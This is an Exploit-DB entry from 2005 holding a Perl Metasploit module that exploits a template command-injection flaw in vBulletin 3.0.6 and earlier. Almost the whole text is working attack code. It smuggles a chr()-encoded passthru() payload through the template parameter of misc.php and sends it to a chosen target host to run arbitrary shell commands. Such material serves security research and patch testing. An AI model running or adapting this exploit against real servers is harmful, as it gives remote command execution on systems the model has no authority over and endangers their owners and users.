vBulletin <= 3.0.6 Template Command Execution Exploit metasploit

2005-08-03T00:00:00
ID EDB-ID:1133
Type exploitdb
Reporter str0ke
Modified 2005-08-03T00:00:00

Description

vBulletin <= 3.0.6 (Template) Command Execution Exploit (metasploit). Webapps exploit for php platform

                                        
                                            ##
#        Title: vBulletin &lt;= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     =&gt; 'vBulletin &lt;= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        'Version'  =&gt; '$Revision: 1.0 $',
        'Authors'  =&gt; [ 'str0ke' ],
        'Arch'     =&gt; [ ],
        'OS'       =&gt; [ ],
        'Priv'     =&gt; 0,
        'UserOpts' =&gt;
          {
                'RHOST' =&gt; [1, 'ADDR', 'The target address'],
                'RPORT' =&gt; [1, 'PORT', 'The target port', 80],
                'VHOST' =&gt; [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' =&gt; [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
                'SSL'   =&gt; [0, 'BOOL', 'Use SSL'],
          },

        'Description' =&gt; Pex::Text::Freeform(qq{
                This module exploits a code execution flaw in vBulletin &lt;= 3.0.6.
}),

        'Refs' =&gt;
          [
                ['MIL', '832'],
          ],

        'Payload' =&gt;
          {
                'Space' =&gt; 512,
                'Keys'  =&gt; ['cmd', 'cmd_bash'],
          },

        'Keys' =&gt; ['vBulletin'],
  };

sub new {
        my $class = shift;
        my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt; $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self-&gt;GetVar('RHOST');
        my $target_port    = $self-&gt;GetVar('RPORT');
        my $vhost          = $self-&gt;GetVar('VHOST') || $target_host;
        my $path           = $self-&gt;GetVar('RPATH');
        my $cmd            = $self-&gt;GetVar('EncodedPayload')-&gt;RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the get request data
        my $data = "?do=page&template={\${passthru($byte)}}";

        my $req =
                "GET $path$data HTTP/1.1\r\n".
                "Host: $vhost:$target_port\r\n".
                "Content-Type: application/html\r\n".
                "Content-Length: ". length($data)."\r\n".
                "Connection: Close\r\n".
                "\r\n";

        my $s = Msf::Socket::Tcp-&gt;new(
                'PeerAddr'  =&gt; $target_host,
                'PeerPort'  =&gt; $target_port,
                'LocalPort' =&gt; $self-&gt;GetVar('CPORT'),
                'SSL'       =&gt; $self-&gt;GetVar('SSL'),
          );

        if ($s-&gt;IsError){
                $self-&gt;PrintLine('[*] Error creating socket: ' . $s-&gt;GetError);
                return;
        }

        $self-&gt;PrintLine("[*] Sending the malicious vBulletin Get request...");

        $s-&gt;Send($req);

        my $results = $s-&gt;Recv(-1, 20);
        $s-&gt;Close();

        return;
}

1;

# milw0rm.com [2005-08-03]